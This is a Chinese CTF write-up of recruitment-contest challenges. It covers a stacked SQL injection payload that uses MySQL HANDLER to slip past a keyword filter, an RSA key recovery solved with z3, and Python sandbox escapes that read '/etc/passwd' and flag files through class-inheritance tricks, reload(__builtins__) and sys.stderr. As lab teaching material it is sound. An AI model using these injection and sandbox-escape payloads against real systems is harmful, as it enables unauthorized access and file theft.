前言
最近学校有招新赛,难度比较低。于是节选了几道稍微有点意思的题目记录一下。
你再注试试
本题是一道Web堆叠查询注入题,改编自2019 强网杯online 随便注,在其基础上限制了多个关键词:
prepare、set、execute……
但是我们可以利用mysql新特性handler:
https://dev.mysql.com/doc/refman/8.0/en/handler.html
例如:
我们可以用如下方式查询:
最后写出exp:
11'; handler `1919810931114514` open as `tgt`;handler `tgt` read next;--
ReSnAd
本题是一道密码题,涉及RSA相关知识。题目提供了如下值:
phi_n、iqmp、ipmq、e、c
首先我们看一下各个变量的定义:
那么现在即考虑,如何利用iqmp和ipmq推导出p和q,首先将式5、6变为等式:
我们将两式相乘得到:
那么即:
移项化简:
同时我们知道k1和k2的范围:
那么可以转换为这样一个问题,在极限情况k1和k2均取右边值时,会出现如下情况:
但显然不等式右边肯定小于2n+1,那么x的取值只能为1或2,但是如果x取2,那么除非k1取q,k2取p,否则不等式将不成立,但这显然不可能取得。所以x只能为1,那么我们得到式子:
那么我们将最初的式5、6相加:
而我们知道:
展开后得到:
那么可以得到phi_n和n的关系式如下:
我们将其带入等式:
得到:
那么可以联立方程组:
那么可以构成一组二元二次方程。为约束求解方便,我们可以利用换元法,做一下代换:
替换后得到:
那么我们将x带入消元,再将式子两边同乘y:
我们化简后得到:
如此一来,即化简成了一元二次方程组问题,那么我们可以用z3来求解:
from z3 import * Y = Int('Y') phi = 11177929896833318778267064419554047209804133035532602158237892469506082395935495256139136112194510151728917586404919115707761109072628761295860181662822356164160284726297946695851442119129722147684494637497443200139538149832495961915450185804086755272971387407998204100589137627495400914243828434106078332327997903842841517071021248147779935078071506489655500155896938283840729728572328660647233974344849571246788826036265850539775145330135792207209473452843737567371694666658091855216070403504619639510901644370971614286091867701992201923071041178318790575030522483839410855929335515391080189720203086802888683798400 iqmp = 91015809392527255523072044687980286577671138545257803641612547883387289541035388722157767029686572001797549231630088970758132893695316792508265294751302240594796242084165161239587935396541914404832318478070695600559420277875549100164011180835754613742632525637982101603421982448705454195363628987806367263766 ipmq = 10870198964186987138989651624057552405853366954080463316431710442091837631287759912193054100505356356476481503550009625275319473929512195371174525538642232600176213853601253377888749818545192155785873323173291991086758912490744417777560275318548708479769299122462125768416235737869558154549710389717852257846 solve(Y**2*(iqmp-1)+Y*(ipmq+iqmp-phi-2)+ipmq*phi-phi==0)
容易计算出:
Y=110759942750329561983364096770824818957156636845110590823134362698749612147788955083351174879972411435569300696393151260960779092387966200431706198509584768247841937719219850118991339268977853455607397866025870712323459278215127588375709815956587698977630219989552045686550681692693762584298742938231996726336
那么即可利用y,计算出x,即可得到p和q,然后写出解密脚本:
import gmpy import gmpy2 import libnum Y = 110759942750329561983364096770824818957156636845110590823134362698749612147788955083351174879972411435569300696393151260960779092387966200431706198509584768247841937719219850118991339268977853455607397866025870712323459278215127588375709815956587698977630219989552045686550681692693762584298742938231996726336 p = Y+1 phi = 11177929896833318778267064419554047209804133035532602158237892469506082395935495256139136112194510151728917586404919115707761109072628761295860181662822356164160284726297946695851442119129722147684494637497443200139538149832495961915450185804086755272971387407998204100589137627495400914243828434106078332327997903842841517071021248147779935078071506489655500155896938283840729728572328660647233974344849571246788826036265850539775145330135792207209473452843737567371694666658091855216070403504619639510901644370971614286091867701992201923071041178318790575030522483839410855929335515391080189720203086802888683798400 X = phi/Y q = X+1 n = p*q e = 65537 c = 0x3ce4e91042f61e3b03537d825e7619a02b3f729a91e2de4fb724b95cabe8fb2a7a92c4270025d93aed94f1726ca761083328a7784806e1467f0bc204ef95484ce6b0d207574c6dba4fa91664db4c787e3df517bcfc370a0c5eed8a70b45be8d1e757a9d40eb410e66d2110ac9ece435f76d71e134e2bdbe565e8853e1100ae276211c2b9c49219bca8805ff697dcf84be00b071c3be01f35ba9a4ea1d8ef2c69044982a7fc021d2f6f93b8755948a606a8a376e74d995f439aeeb844ecf678a189916adca406197a1d2eaf2abe84ae6e794560537bcde43a1504f135874d5de9e0a2d95093e4ba7a87641e769e46a911c94ff60525b21c9c709068a89808b6bf d = gmpy2.invert(e,phi) print libnum.n2s(pow(c,d,n))
被嫌弃的python的一生
该系列有3道题,都是python继承链考察,难度也逐渐递进。
被嫌弃的python的一生 & 上
在看python继承链时,我们得先了解一下内置方法:
instance.__class__ The class to which a class instance belongs.
比如:
class.__bases__ The tuple of base classes of a class object.
比如:
此处basestring是 str 和 unicode 的超类(父类),也是抽象类。
class.__subclasses__() Each new-style class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive.
__subclasses__可以列举一个类的子类,此时我们能看到刚才出现的basestring和int。
所以简单总结一下:
__class__:查看属于哪个类
__base__:查看该类的父类
__subclasses__:列举该类的子类
那么当我们想要使用继承链攻击时,我们先使用:
>>> print [].__class__ <type 'list'>
再利用__base__上跳到object:
>>> print [].__class__.__base__ <type 'object'>
然后再列举object下的子类:
print [].__class__.__base__.__subclasses__()
再寻找其中是否含有危险类,例如file任意读文件:
>>> print [].__class__.__base__.__subclasses__()[40] <type 'file'>
那么利用写出exp:
print [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
题目中由于flag被过滤,那么使用拼接bypass:
>>> print [].__class__.__base__.__subclasses__()[40]('fl'+'ag').read() fductf{python_is_the_best_language}
被嫌弃的python的一生 & 中
我们查看源码:
def delete_type(): type_dict = get_dict(type) del type_dict['__bases__'] del type_dict['__subclasses__'] def delete_func_code(): func_dict = get_dict(FunctionType) del func_dict['func_code'] del func_dict['__closure__'] def builtins_clear(): blackList = ['open', 'file', 'eval', 'execfile', 'compile', '__import__', 'input'] for mod in __builtins__.__dict__.keys(): if mod in blackList: del __builtins__.__dict__[mod]
我们看到题目删除了__import__函数,那么我们将无法导入任何python模块,同时题目删除了__subclasses__,那么我们在使用继承链中调用子类将变得非常困难。
但是我们不难发现,我们依然可以使用reload函数。而reload函数用于重新载入之前载入的模块。
那么我们可以借助reload,来重新载入__builtins__,那么其删除的函数将会恢复:
reload(__builtins__)
我们做个实验,首先删除__import__方法:
可以发现,我们在调用import的时候,已经无法正常使用,此时我们重新载入__builtins__:
发现已可以正常使用import:
那么即刻获取flag。
被嫌弃的python的一生 & 下
我们查看源码,发现题目还给我们留下了stderr:
while 1: stderr.write(">>> ") inp = raw_input() cmd = input_filter(inp) try: exec cmd except Exception: stderr.write("An error has occurred!\n")
那么我们还能用stderr.write进行指定内容输出:
那么研究一下stderr:
print help(sys.stderr)
我们stderr是类file下的,那么我们可以利用__class__创造出file:
>>> print sys.stderr.__class__ <type 'file'>
然后即可进行任意文件读取:
sys.stderr.__class__('/etc/passwd').read()
然后利用stderr.write将内容带出,写出exp:
stderr.write(stderr.__class__('flag','r').read())
得到flag:
后记
题目还是比较容易的,主要面向新人以及拓宽知识面。